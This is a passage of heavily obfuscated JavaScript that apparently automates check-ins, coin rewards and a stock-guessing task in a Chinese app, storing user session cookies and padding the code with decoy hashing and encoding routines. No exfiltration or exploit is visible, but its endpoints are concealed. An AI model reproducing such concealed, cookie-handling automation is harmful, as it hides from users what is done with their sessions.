_0x3e0d5e!=_0x897f8d;},'PNAnk':_0x2271('‮c1'),'KJrKB':function(_0x2ebb67,_0x5c9c71){return _0x2ebb67===_0x5c9c71;},'AQTTa':function(_0x250bb0,_0x436871){return _0x250bb0===_0x436871;},'mxAeK':_0x2271('‮c2'),'JdcLU':function(_0x4430a7,_0x33a1fc){return _0x4430a7+_0x33a1fc;},'FptYd':_0x2271('‮c3'),'xzTQg':function(_0x38b08f,_0x32a1ea){return _0x38b08f+_0x32a1ea;},'ZDIiB':_0x2271('‮c4'),'enGHQ':_0x2271('‫c5'),'aXHjW':_0x2271('‮c6')};try{let _0x59f540=_0x2271('‫89')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x53bc3c='';let _0xfa037b=_0x2fc0b4[_0x2271('‮c7')](populateUrlObject,_0x59f540,this[_0x2271('‫47')],_0x53bc3c);await _0x2fc0b4[_0x2271('‫c8')](httpRequest,_0x2fc0b4[_0x2271('‫c9')],_0xfa037b);let _0x1197ab=httpResult;if(!_0x1197ab)return;if(_0x2fc0b4[_0x2271('‮ca')](_0x1197ab[_0x2271('‮8f')],0x0)){if(_0x2fc0b4[_0x2271('‮cb')](_0x2fc0b4[_0x2271('‫cc')],_0x2fc0b4[_0x2271('‮cd')])){return _0x2fc0b4[_0x2271('‮ce')](_0x2fc0b4[_0x2271('‮cf')](a,b),_0x2fc0b4[_0x2271('‮cf')](~a,c));}else{this[_0x2271('‮3c')]=!![];let _0x29199=this[_0x2271('‫3d')];this[_0x2271('‫3d')]=_0x1197ab[_0x2271('‮90')]?_0x1197ab[_0x2271('‮90')][_0x2271('‫91')]:0x0;if(_0x2fc0b4[_0x2271('‮d0')](_0x29199,-0x1)){_0x2fc0b4[_0x2271('‫d1')](logAndNotify,_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]+_0x2271('‫d2')+_0x2fc0b4[_0x2271('‫d3')](this[_0x2271('‫3d')],_0x29199)+'金币');}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}for(const _0x4a43ec of _0x1197ab[_0x2271('‫d4')]){if(_0x2fc0b4[_0x2271('‮d5')](_0x2fc0b4[_0x2271('‮d6')],_0x2fc0b4[_0x2271('‮d6')])){r=e[_0x2271('‮d7')](n);if(_0x2fc0b4[_0x2271('‮d8')](r,0x80)){t+=String[_0x2271('‮79')](r);n++;}else if(_0x2fc0b4[_0x2271('‮d0')](r,0xbf)&&_0x2fc0b4[_0x2271('‮d9')](r,0xe0)){c2=e[_0x2271('‮d7')](_0x2fc0b4[_0x2271('‮da')](n,0x1));t+=String[_0x2271('‮79')](_0x2fc0b4[_0x2271('‫db')](_0x2fc0b4[_0x2271('‫dc')](_0x2fc0b4[_0x2271('‫dd')](r,0x1f),0x6),_0x2fc0b4[_0x2271('‫de')](c2,0x3f)));n+=0x2;}else{c2=e[_0x2271('‮d7')](_0x2fc0b4[_0x2271('‫df')](n,0x1));c3=e[_0x2271('‮d7')](_0x2fc0b4[_0x2271('‫df')](n,0x2));t+=String[_0x2271('‮79')](_0x2fc0b4[_0x2271('‮e0')](_0x2fc0b4[_0x2271('‮e0')](_0x2fc0b4[_0x2271('‫dc')](_0x2fc0b4[_0x2271('‫e1')](r,0xf),0xc),_0x2fc0b4[_0x2271('‮e2')](_0x2fc0b4[_0x2271('‫e1')](c2,0x3f),0x6)),_0x2fc0b4[_0x2271('‮e3')](c3,0x3f)));n+=0x3;}}else{if(_0x2fc0b4[_0x2271('‮e4')](_0x4a43ec[_0x2271('‫a9')][_0x2271('‫5b')](_0x2fc0b4[_0x2271('‮e5')]),-0x1)&&_0x2fc0b4[_0x2271('‮e6')](_0x4a43ec[_0x2271('‫e7')],'1')){if(_0x2fc0b4[_0x2271('‮e8')](_0x2fc0b4[_0x2271('‫e9')],_0x2fc0b4[_0x2271('‫e9')])){console[_0x2271('‫4f')](_0x2fc0b4[_0x2271('‫ea')](_0x2fc0b4[_0x2271('‫eb')],_0x4a43ec[_0x2271('‫a9')]));console[_0x2271('‫4f')](_0x2fc0b4[_0x2271('‫ec')](_0x2fc0b4[_0x2271('‫ed')],_0x4a43ec[_0x2271('‫b2')]));await this[_0x2271('‫b1')](_0x4a43ec[_0x2271('‫b2')]);}else{for(var _0x166f90,_0x25a832=a[_0x2271('‫55')],_0x44bfa5=_0x2fc0b4[_0x2271('‫ee')](_0x25a832,0x8),_0x216fe5=_0x2fc0b4[_0x2271('‮ef')](_0x2fc0b4[_0x2271('‫f0')](_0x44bfa5,_0x2fc0b4[_0x2271('‮f1')](_0x44bfa5,0x40)),0x40),_0x1866fa=_0x2fc0b4[_0x2271('‮f2')](0x10,_0x2fc0b4[_0x2271('‮f3')](_0x216fe5,0x1)),_0x3f91ac=new Array(_0x2fc0b4[_0x2271('‫f4')](_0x1866fa,0x1)),_0x6a258c=0x0,_0x44cf72=0x0;_0x2fc0b4[_0x2271('‮d0')](_0x25a832,_0x44cf72);)_0x166f90=_0x2fc0b4[_0x2271('‮ef')](_0x2fc0b4[_0x2271('‫f5')](_0x44cf72,_0x2fc0b4[_0x2271('‮f1')](_0x44cf72,0x4)),0x4),_0x6a258c=_0x2fc0b4[_0x2271('‮f2')](_0x2fc0b4[_0x2271('‮f1')](_0x44cf72,0x4),0x8),_0x3f91ac[_0x166f90]=_0x2fc0b4[_0x2271('‮f6')](_0x3f91ac[_0x166f90],_0x2fc0b4[_0x2271('‮e2')](a[_0x2271('‮d7')](_0x44cf72),_0x6a258c)),_0x44cf72++;return _0x166f90=_0x2fc0b4[_0x2271('‮ef')](_0x2fc0b4[_0x2271('‫f5')](_0x44cf72,_0x2fc0b4[_0x2271('‮f7')](_0x44cf72,0x4)),0x4),_0x6a258c=_0x2fc0b4[_0x2271('‮f8')](_0x2fc0b4[_0x2271('‫f9')](_0x44cf72,0x4),0x8),_0x3f91ac[_0x166f90]=_0x2fc0b4[_0x2271('‫fa')](_0x3f91ac[_0x166f90],_0x2fc0b4[_0x2271('‫fb')](0x80,_0x6a258c)),_0x3f91ac[_0x2fc0b4[_0x2271('‫f5')](_0x1866fa,0x2)]=_0x2fc0b4[_0x2271('‫fb')](_0x25a832,0x3),_0x3f91ac[_0x2fc0b4[_0x2271('‫d3')](_0x1866fa,0x1)]=_0x2fc0b4[_0x2271('‫fc')](_0x25a832,0x1d),_0x3f91ac;}}}}}}else{if(_0x2fc0b4[_0x2271('‮d5')](_0x2fc0b4[_0x2271('‮fd')],_0x2fc0b4[_0x2271('‮fd')])){console[_0x2271('‫4f')](_0x2271('‮fe')+_0x1197ab[_0x2271('‫ff')]+_0x2271('‮100')+_0x1197ab[_0x2271('‮101')][_0x2271('‫53')]);}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮b9')+_0x1197ab[_0x2271('‮ba')]);}}}catch(_0x29007d){if(_0x2fc0b4[_0x2271('‮d5')](_0x2fc0b4[_0x2271('‫102')],_0x2fc0b4[_0x2271('‫102')])){result=JSON[_0x2271('‮103')](result[_0x2271('‫a3')][_0x2271('‫104')](/\\x/g,''));}else{console[_0x2271('‫4f')](_0x29007d);}}finally{}}async[_0x2271('‮105')](_0x27a1c7,_0x23d957,_0x43c797=''){var _0x15859c={'stzjf':function(_0x31ce36,_0x5e99e1){return _0x31ce36+_0x5e99e1;},'bUvJw':function(_0x3e680c,_0xf9d95a){return _0x3e680c+_0xf9d95a;},'qujDs':_0x2271('‫7'),'ApMJV':function(_0x1a920e,_0x139e03){return _0x1a920e|_0x139e03;},'SIenM':function(_0x5b54cf,_0x4aa9b0){return _0x5b54cf>>_0x4aa9b0;},'rTLcl':function(_0x3fac8f,_0x1a18a3){return _0x3fac8f&_0x1a18a3;},'ujLYy':function(_0x44d935,_0x436438){return _0x44d935&_0x436438;},'WxoyG':_0x2271('‫106'),'ubFpG':function(_0x2cb926,_0x4c4582){return _0x2cb926<_0x4c4582;},'XnnQy':_0x2271('‮107'),'RlJXj':function(_0x2bf62d,_0x11a316){return _0x2bf62d+_0x11a316;},'vcLOV':function(_0x38295c,_0x1a9a09){return _0x38295c+_0x1a9a09;},'xwZic':function(_0x808d30,_0x265fa3){return _0x808d30+_0x265fa3;},'UtTPt':function(_0x279d66,_0x4a8221){return _0x279d66>>_0x4a8221;},'BhWPd':function(_0xbf1035,_0x4c5427){return _0xbf1035<<_0x4c5427;},'Fzugj':function(_0x1286cf,_0x5207ae){return _0x1286cf>>_0x5207ae;},'BXieL':function(_0x198f0a,_0x5e0a76){return _0x198f0a(_0x5e0a76);},'SjAhS':function(_0x34bba3,_0x2e96ed){return _0x34bba3(_0x2e96ed);},'PuHhG':function(_0x15074a,_0x46686e){return _0x15074a|_0x46686e;},'fuUWt':function(_0x4d79d4,_0x2a2564){return _0x4d79d4<<_0x2a2564;},'BUBAE':function(_0x343ebe,_0x436882){return _0x343ebe==_0x436882;},'vYdzx':function(_0x535e55,_0x4ee2a0){return _0x535e55==_0x4ee2a0;},'vTBlh':function(_0x2eefea,_0x191011,_0x5a9bcb,_0x59faa1){return _0x2eefea(_0x191011,_0x5a9bcb,_0x59faa1);},'hHFVN':function(_0x7e7a73,_0x4975f6,_0x4eb0c1){return _0x7e7a73(_0x4975f6,_0x4eb0c1);},'AimrK':_0x2271('‫82'),'IEvua':function(_0x20fe75,_0x9556da){return _0x20fe75==_0x9556da;},'lhFft':function(_0x238763,_0x53f659){return _0x238763!==_0x53f659;},'QGuyn':_0x2271('‮108'),'jTabL':function(_0x40cb54,_0x4f22f3){return _0x40cb54===_0x4f22f3;},'wTeUd':_0x2271('‮109'),'IpxVn':_0x2271('‮10a'),'xZJMX':function(_0x54ae26,_0x46cc00){return _0x54ae26==_0x46cc00;},'Blrpv':function(_0xda3833,_0x446dbe){return _0xda3833>_0x446dbe;},'bdNdT':function(_0x457777,_0x50bffc){return _0x457777===_0x50bffc;},'TZraV':_0x2271('‮10b'),'zoDJV':function(_0x339b1c,_0x421543){return _0x339b1c==_0x421543;},'gihwD':_0x2271('‫10c')};try{let _0x5349fd=_0x2271('‫10d')+_0x27a1c7+_0x2271('‫10e')+_0x23d957+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];if(_0x15859c[_0x2271('‫10f')](_0x23d957,signType[_0x2271('‫32')])){_0x5349fd+=_0x2271('‫110');}else if(_0x15859c[_0x2271('‮111')](_0x23d957,signType[_0x2271('‫112')])){_0x5349fd+=_0x2271('‮113')+todayDate;}else if(_0x15859c[_0x2271('‮111')](_0x23d957,signType[_0x2271('‮c')])){_0x5349fd+=_0x2271('‮114')+_0x43c797;}let _0x359292='';let _0x110ea7=_0x15859c[_0x2271('‮115')](populateUrlObject,_0x5349fd,this[_0x2271('‫47')],_0x359292);await _0x15859c[_0x2271('‫116')](httpRequest,_0x15859c[_0x2271('‫117')],_0x110ea7);let _0x25770d=httpResult;if(!_0x25770d)return;if(_0x15859c[_0x2271('‫118')](_0x25770d[_0x2271('‮8f')],0x0)){if(_0x25770d[_0x2271('‫119')]){console[_0x2271('‫4f')](_0x2271('‮11a')+_0x25770d[_0x2271('‫bc')]);}else{if(_0x15859c[_0x2271('‫118')](_0x23d957,signType[_0x2271('‫32')])){if(_0x15859c[_0x2271('‮11b')](_0x15859c[_0x2271('‫11c')],_0x15859c[_0x2271('‫11c')])){userCookie=_0x15859c[_0x2271('‫11d')](_0x15859c[_0x2271('‫11e')](userCookie,'\x0a'),ck);$[_0x2271('‮98')](userCookie,_0x15859c[_0x2271('‮11f')]);let _0x157d7b=userCookie[_0x2271('‮9a')]('\x0a');$[_0x2271('‮75')](_0x15859c[_0x2271('‫11e')](jsname,_0x2271('‮9c')+_0x157d7b[_0x2271('‫55')]+_0x2271('‮9d')+ck));}else{console[_0x2271('‫4f')](_0x2271('‮120')+_0x25770d[_0x2271('‮121')][_0x2271('‫122')]+_0x2271('‫123')+_0x25770d[_0x2271('‮121')][_0x2271('‮124')]+'天');for(let _0x581a86 of _0x25770d[_0x2271('‮121')][_0x2271('‮125')]){if(_0x15859c[_0x2271('‫118')](_0x581a86[_0x2271('‮126')],todayDate)){if(_0x15859c[_0x2271('‮127')](_0x15859c[_0x2271('‫128')],_0x15859c[_0x2271('‮129')])){t+=String[_0x2271('‮79')](_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‫12b')](r,0xc),0xe0));t+=String[_0x2271('‮79')](_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‮12c')](_0x15859c[_0x2271('‫12b')](r,0x6),0x3f),0x80));t+=String[_0x2271('‮79')](_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‫12d')](r,0x3f),0x80));}else{if(_0x15859c[_0x2271('‮12e')](_0x581a86[_0x2271('‮12f')],0x0)){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮105')](_0x27a1c7,signType[_0x2271('‫112')]);}else{console[_0x2271('‫4f')](_0x2271('‫130'));}}}}if(_0x15859c[_0x2271('‮131')](_0x25770d[_0x2271('‮132')],0x0)&&_0x25770d[_0x2271('‫133')]){if(_0x15859c[_0x2271('‫134')](_0x15859c[_0x2271('‫135')],_0x15859c[_0x2271('‫135')])){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮105')](_0x27a1c7,signType[_0x2271('‮c')],_0x25770d[_0x2271('‫133')]);}else{console[_0x2271('‫4f')](e);}}}}else if(_0x15859c[_0x2271('‮12e')](_0x23d957,signType[_0x2271('‫112')])){console[_0x2271('‫4f')](_0x2271('‫136')+_0x25770d[_0x2271('‫53')]);}else if(_0x15859c[_0x2271('‫137')](_0x23d957,signType[_0x2271('‮c')])){if(_0x15859c[_0x2271('‮11b')](_0x15859c[_0x2271('‮138')],_0x15859c[_0x2271('‮138')])){var _0x4b19ea=_0x15859c[_0x2271('‫139')][_0x2271('‮9a')]('|'),_0x43874e=0x0;while(!![]){switch(_0x4b19ea[_0x43874e++]){case'0':return _0x246944;case'1':var _0x246944='';continue;case'2':e=Base64[_0x2271('‫13a')](e);continue;case'3':while(_0x15859c[_0x2271('‮13b')](_0x30b01c,e[_0x2271('‫55')])){var _0x49e5d3=_0x15859c[_0x2271('‮13c')][_0x2271('‮9a')]('|'),_0x2ae7d6=0x0;while(!![]){switch(_0x49e5d3[_0x2ae7d6++]){case'0':_0x246944=_0x15859c[_0x2271('‮13d')](_0x15859c[_0x2271('‮13e')](_0x15859c[_0x2271('‮13e')](_0x15859c[_0x2271('‮13f')](_0x246944,this[_0x2271('‮140')][_0x2271('‫141')](_0x31b89b)),this[_0x2271('‮140')][_0x2271('‫141')](_0x3fb730)),this[_0x2271('‮140')][_0x2271('‫141')](_0x5ec289)),this[_0x2271('‮140')][_0x2271('‫141')](_0x1a5cc8));continue;case'1':_0x31b89b=_0x15859c[_0x2271('‫142')](_0x13a007,0x2);continue;case'2':_0x44740e=e[_0x2271('‮d7')](_0x30b01c++);continue;case'3':_0x5ec289=_0x15859c[_0x2271('‮12a')](_0x15859c[_0x2271('‮143')](_0x15859c[_0x2271('‫12d')](_0x45f107,0xf),0x2),_0x15859c[_0x2271('‫144')](_0x44740e,0x6));continue;case'4':_0x13a007=e[_0x2271('‮d7')](_0x30b01c++);continue;case'5':if(_0x15859c[_0x2271('‮145')](isNaN,_0x45f107)){_0x5ec289=_0x1a5cc8=0x40;}else if(_0x15859c[_0x2271('‮146')](isNaN,_0x44740e)){_0x1a5cc8=0x40;}continue;case'6':_0x45f107=e[_0x2271('‮d7')](_0x30b01c++);continue;case'7':_0x3fb730=_0x15859c[_0x2271('‮147')](_0x15859c[_0x2271('‮148')](_0x15859c[_0x2271('‫12d')](_0x13a007,0x3),0x4),_0x15859c[_0x2271('‫144')](_0x45f107,0x4));continue;case'8':_0x1a5cc8=_0x15859c[_0x2271('‫12d')](_0x44740e,0x3f);continue;}break;}}continue;case'4':var _0x30b01c=0x0;continue;case'5':var _0x13a007,_0x45f107,_0x44740e,_0x31b89b,_0x3fb730,_0x5ec289,_0x1a5cc8;continue;}break;}}else{console[_0x2271('‫4f')](_0x2271('‫149')+_0x25770d[_0x2271('‫53')]);}}}}else{console[_0x2271('‫4f')](_0x2271('‫14a')+_0x25770d[_0x2271('‮ba')]);}}catch(_0x5007e6){console[_0x2271('‫4f')](_0x5007e6);}finally{}}async[_0x2271('‮14b')](){var _0x122af5={'YDxek':function(_0x5ace11,_0x4703a5){return _0x5ace11&_0x4703a5;},'FCOSg':function(_0xdcd008,_0x45334b){return _0xdcd008&_0x45334b;},'XYIRK':function(_0x4ecdbf,_0xab2c08){return _0x4ecdbf&_0xab2c08;},'ydHna':function(_0x10afd2,_0x15bca7){return _0x10afd2+_0x15bca7;},'Iljvs':function(_0x15ff74,_0x4e5664){return _0x15ff74&_0x4e5664;},'bNSXM':function(_0x35c524,_0x23b435){return _0x35c524^_0x23b435;},'RtigK':function(_0x28c900,_0x7018d4){return _0x28c900^_0x7018d4;},'fFkgq':function(_0x4759a9,_0x1c1057){return _0x4759a9|_0x1c1057;},'SOwgH':function(_0x59429c,_0x5484db){return _0x59429c^_0x5484db;},'mYVef':function(_0x580c7c,_0xc14652){return _0x580c7c-_0xc14652;},'sUOpJ':function(_0x8f7a6c,_0x8697f8){return _0x8f7a6c*_0x8697f8;},'mamvB':function(_0x5ee52c,_0xed7535){return _0x5ee52c/_0xed7535;},'nWTmx':function(_0x7e765f,_0x1815f5){return _0x7e765f<_0x1815f5;},'xupdW':function(_0x1bc6fa,_0x190fab){return _0x1bc6fa/_0x190fab;},'hEiED':function(_0x58ec80,_0x36c655){return _0x58ec80*_0x36c655;},'slLjP':function(_0x500a5d,_0x27fcd1){return _0x500a5d==_0x27fcd1;},'bHIDj':_0x2271('‮14c'),'dIxVc':function(_0x8fb812,_0x27d969){return _0x8fb812-_0x27d969;},'FLaSC':_0x2271('‮14d'),'RYgqK':function(_0x46bca1,_0x27737d){return _0x46bca1===_0x27737d;},'uMJOb':_0x2271('‫14e'),'HgrVs':function(_0x1ce707,_0x57aae1,_0x510d99,_0x28c0fd){return _0x1ce707(_0x57aae1,_0x510d99,_0x28c0fd);},'nBWfv':function(_0x484356,_0x19a51a,_0x15a033){return _0x484356(_0x19a51a,_0x15a033);},'PSOJi':_0x2271('‫82'),'gIEev':function(_0x5cfc2c,_0x506944){return _0x5cfc2c>_0x506944;},'TOCTz':_0x2271('‫14f'),'SOIEp':_0x2271('‮150'),'uSFBU':function(_0x9f5309,_0x1737b5){return _0x9f5309===_0x1737b5;},'ENvGP':_0x2271('‫151'),'pvsqK':function(_0x488ed3,_0x2f2c5d){return _0x488ed3==_0x2f2c5d;},'xalZK':function(_0x2f61c1,_0x42adbe){return _0x2f61c1===_0x42adbe;},'QVsuK':_0x2271('‮152'),'bQEWt':_0x2271('‫153'),'YeMzW':function(_0x30a383,_0x7b54d1){return _0x30a383!==_0x7b54d1;},'mZGyn':_0x2271('‫154'),'yDsyi':function(_0x25f127,_0x43cb6c){return _0x25f127==_0x43cb6c;},'KTMDT':function(_0x4508cb,_0x4a6998){return _0x4508cb!==_0x4a6998;},'TUrXC':_0x2271('‮155'),'oUhHC':_0x2271('‫156'),'bQarW':function(_0xbe67b7,_0x49d591){return _0xbe67b7!==_0x49d591;},'uJoqs':_0x2271('‮157'),'BvaoP':_0x2271('‮158'),'UWQGn':function(_0xbdecf3,_0x34b3ee){return _0xbdecf3>_0x34b3ee;},'lZMBK':_0x2271('‫159'),'GeJfo':_0x2271('‫15a'),'yAjdT':_0x2271('‫15b'),'RdyGj':function(_0x3fe7b5,_0x250ed2){return _0x3fe7b5===_0x250ed2;},'gskFf':_0x2271('‮15c')};try{if(_0x122af5[_0x2271('‫15d')](_0x122af5[_0x2271('‫15e')],_0x122af5[_0x2271('‫15e')])){let _0x6d2d80=_0x2271('‮15f')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0x4d30f6='';let _0x59923b=_0x122af5[_0x2271('‫160')](populateUrlObject,_0x6d2d80,this[_0x2271('‫47')],_0x4d30f6);await _0x122af5[_0x2271('‮161')](httpRequest,_0x122af5[_0x2271('‮162')],_0x59923b);let _0x36dbd1=httpResult;if(!_0x36dbd1)return;if(_0x122af5[_0x2271('‮163')](_0x36dbd1[_0x2271('‮8f')],0x0)){let _0x1f601b=new Date();let _0x3c90cc=_0x1f601b[_0x2271('‫164')]();let _0x1eac6=_0x1f601b[_0x2271('‮165')]();let _0x54d4f7=_0x122af5[_0x2271('‮166')](_0x3c90cc,0xd)&&_0x122af5[_0x2271('‫167')](_0x3c90cc,0x9)&&_0x122af5[_0x2271('‮166')](_0x1eac6,0x6)&&_0x122af5[_0x2271('‫167')](_0x1eac6,0x0)?0x1:0x0;if(_0x36dbd1[_0x2271('‮168')]&&_0x36dbd1[_0x2271('‮168')][0x0]){if(_0x122af5[_0x2271('‮163')](_0x36dbd1[_0x2271('‮168')][0x0][_0x2271('‫169')],0x1)){console[_0x2271('‫4f')](_0x2271('‮16a'));await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫16b')](_0x36dbd1[_0x2271('‮168')][0x0][_0x2271('‮126')]);}else{console[_0x2271('‫4f')](_0x2271('‫16c'));}}if(_0x36dbd1[_0x2271('‮16d')]&&_0x36dbd1[_0x2271('‮16d')][0x0]){if(_0x122af5[_0x2271('‫15d')](_0x122af5[_0x2271('‫16e')],_0x122af5[_0x2271('‫16f')])){console[_0x2271('‫4f')](_0x2271('‫170')+guessStr+_0x2271('‫171')+_0x36dbd1[_0x2271('‮ba')]);}else{if(_0x122af5[_0x2271('‮163')](_0x36dbd1[_0x2271('‮16d')][0x0][_0x2271('‮172')],0x1)){console[_0x2271('‫4f')](_0x2271('‮173'));await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫174')](_0x36dbd1[_0x2271('‮16d')][0x0][_0x2271('‮126')]);}else{if(_0x122af5[_0x2271('‮175')](_0x122af5[_0x2271('‮176')],_0x122af5[_0x2271('‮176')])){console[_0x2271('‫4f')](_0x2271('‫177'));}else{console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}}}}if(_0x54d4f7){if(_0x36dbd1[_0x2271('‮178')]&&_0x36dbd1[_0x2271('‮178')][0x0]&&_0x122af5[_0x2271('‫179')](_0x36dbd1[_0x2271('‮178')][0x0][_0x2271('‫17a')],0x0)||_0x36dbd1[_0x2271('‮17b')]&&_0x36dbd1[_0x2271('‮17b')][0x0]&&_0x122af5[_0x2271('‫179')](_0x36dbd1[_0x2271('‮17b')][0x0][_0x2271('‫17a')],0x0)){if(_0x36dbd1[_0x2271('‫17c')]){if(_0x122af5[_0x2271('‫17d')](_0x122af5[_0x2271('‮17e')],_0x122af5[_0x2271('‫17f')])){console[_0x2271('‫4f')](e);}else{for(let _0x1c89cd of _0x36dbd1[_0x2271('‫17c')]){if(_0x122af5[_0x2271('‫180')](_0x122af5[_0x2271('‮181')],_0x122af5[_0x2271('‮181')])){var _0x4f0558,_0x140b3a,_0x481c6f,_0x581a89,_0x54c1e0;return _0x481c6f=_0x122af5[_0x2271('‫182')](0x80000000,a),_0x581a89=_0x122af5[_0x2271('‮183')](0x80000000,b),_0x4f0558=_0x122af5[_0x2271('‫184')](0x40000000,a),_0x140b3a=_0x122af5[_0x2271('‫184')](0x40000000,b),_0x54c1e0=_0x122af5[_0x2271('‮185')](_0x122af5[_0x2271('‫186')](0x3fffffff,a),_0x122af5[_0x2271('‫186')](0x3fffffff,b)),_0x122af5[_0x2271('‫186')](_0x4f0558,_0x140b3a)?_0x122af5[_0x2271('‮187')](_0x122af5[_0x2271('‮187')](_0x122af5[_0x2271('‫188')](0x80000000,_0x54c1e0),_0x481c6f),_0x581a89):_0x122af5[_0x2271('‫189')](_0x4f0558,_0x140b3a)?_0x122af5[_0x2271('‫186')](0x40000000,_0x54c1e0)?_0x122af5[_0x2271('‫188')](_0x122af5[_0x2271('‫188')](_0x122af5[_0x2271('‫188')](0xc0000000,_0x54c1e0),_0x481c6f),_0x581a89):_0x122af5[_0x2271('‫188')](_0x122af5[_0x2271('‫18a')](_0x122af5[_0x2271('‫18a')](0x40000000,_0x54c1e0),_0x481c6f),_0x581a89):_0x122af5[_0x2271('‫18a')](_0x122af5[_0x2271('‫18a')](_0x54c1e0,_0x481c6f),_0x581a89);}else{if(_0x122af5[_0x2271('‫179')](_0x1c89cd[_0x2271('‮12f')],0x3)&&_0x122af5[_0x2271('‫18b')](_0x1c89cd[_0x2271('‮126')],todayDate)){if(_0x122af5[_0x2271('‮18c')](_0x122af5[_0x2271('‮18d')],_0x122af5[_0x2271('‮18e')])){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮18f')](SCI_code,marketCode['sh']);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫190')](this[_0x2271('‮191')]);}else{let _0x66e364=_0x36dbd1[_0x2271('‫192')][_0x2271('‮193')]||0x0;let _0x19f4cd=_0x36dbd1[_0x2271('‫192')][_0x2271('‮194')]||0x0;let _0x51bcfe=_0x122af5[_0x2271('‫195')](_0x66e364,_0x19f4cd);let _0x165d7c=_0x122af5[_0x2271('‮196')](_0x122af5[_0x2271('‫197')](_0x51bcfe,_0x19f4cd),0x64);let _0x46885d=_0x122af5[_0x2271('‮166')](_0x51bcfe,0x0)?'跌':'涨';this[_0x2271('‮191')]=_0x122af5[_0x2271('‮166')](_0x51bcfe,0x0)?0x2:0x1;console[_0x2271('‫4f')](stockName+_0x2271('‫198')+_0x66e364+_0x2271('‫199')+_0x19f4cd+_0x2271('‮19a')+_0x122af5[_0x2271('‮19b')](Math[_0x2271('‮19c')](_0x122af5[_0x2271('‮196')](_0x165d7c,0x64)),0x64)+_0x2271('‮19d')+_0x122af5[_0x2271('‮19b')](Math[_0x2271('‮19c')](_0x122af5[_0x2271('‫19e')](_0x51bcfe,0x64)),0x64)+_0x2271('‫19f')+_0x46885d);}}}}}}}else{if(_0x122af5[_0x2271('‫1a0')](_0x122af5[_0x2271('‫1a1')],_0x122af5[_0x2271('‮1a2')])){console[_0x2271('‫4f')](_0x2271('‫1a3'));}else{if(_0x122af5[_0x2271('‮163')](type,_0x122af5[_0x2271('‮1a4')])){this[_0x2271('‮3e')][_0x2271('‮14c')][share_type]=_0x36dbd1[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a6')+share_type+_0x2271('‫1a7')+_0x36dbd1[_0x2271('‮1a5')]);}else{this[_0x2271('‮3e')][_0x2271('‫32')][share_type]=_0x36dbd1[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+share_type+_0x2271('‫1a7')+_0x36dbd1[_0x2271('‮1a5')]);}}}if(_0x36dbd1[_0x2271('‮1a9')]&&_0x122af5[_0x2271('‮1aa')](_0x36dbd1[_0x2271('‮1a9')][_0x2271('‫55')],0x0)){this[_0x2271('‮1ab')]=!![];for(let _0x235f88 of _0x36dbd1[_0x2271('‮1a9')][_0x2271('‫1ac')](function(_0x18b4ad,_0x12ae64){return _0x122af5[_0x2271('‫1ad')](Math[_0x2271('‫1ae')](_0x12ae64[_0x122af5[_0x2271('‮1af')]]),Math[_0x2271('‫1ae')](_0x18b4ad[_0x122af5[_0x2271('‮1af')]]));})){await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‫1b0')](_0x235f88);if(_0x122af5[_0x2271('‫18b')](this[_0x2271('‮1ab')],![]))break;}}}else{if(_0x122af5[_0x2271('‫17d')](_0x122af5[_0x2271('‫1b1')],_0x122af5[_0x2271('‫1b2')])){this[_0x2271('‮40')]=_0x36dbd1[_0x2271('‫1b3')];}else{console[_0x2271('‫4f')](_0x2271('‮1b4'));}}if(_0x36dbd1[_0x2271('‫1b5')]){if(_0x122af5[_0x2271('‫1a0')](_0x122af5[_0x2271('‮1b6')],_0x122af5[_0x2271('‮1b6')])){console[_0x2271('‫4f')](e);}else{this[_0x2271('‮3e')][_0x2271('‫1b7')]=_0x36dbd1[_0x2271('‫1b5')];console[_0x2271('‫4f')](_0x2271('‫1b8'));}}}else{console[_0x2271('‫4f')](_0x2271('‫1b9')+_0x36dbd1[_0x2271('‮ba')]);}}else{console[_0x2271('‫4f')](e);}}catch(_0x479428){if(_0x122af5[_0x2271('‮1ba')](_0x122af5[_0x2271('‫1bb')],_0x122af5[_0x2271('‫1bb')])){console[_0x2271('‫4f')](_0x479428);}else{console[_0x2271('‫4f')](_0x2271('‫1bc')+actid+_0x2271('‮1bd')+result[_0x2271('‮ba')]);}}finally{}}async[_0x2271('‫16b')](_0x3b48b3){var _0x21c5c1={'sEtJD':function(_0x3c5829,_0x2d8995){return _0x3c5829!==_0x2d8995;},'ZyYSX':_0x2271('‮1be'),'MYMMp':_0x2271('‮1bf'),'wYGhf':function(_0x30f410,_0x214484,_0x4ccaf5,_0x4f5ea2){return _0x30f410(_0x214484,_0x4ccaf5,_0x4f5ea2);},'QZWzn':function(_0x35c250,_0x2b7f83,_0x249727){return _0x35c250(_0x2b7f83,_0x249727);},'MFRle':_0x2271('‫82'),'HOPAk':function(_0x283645,_0x2ef55d){return _0x283645==_0x2ef55d;}};try{if(_0x21c5c1[_0x2271('‫1c0')](_0x21c5c1[_0x2271('‫1c1')],_0x21c5c1[_0x2271('‫1c2')])){let _0x150340=_0x2271('‫1c3')+_0x3b48b3+_0x2271('‫1c4')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')];let _0xf76ff1='';let 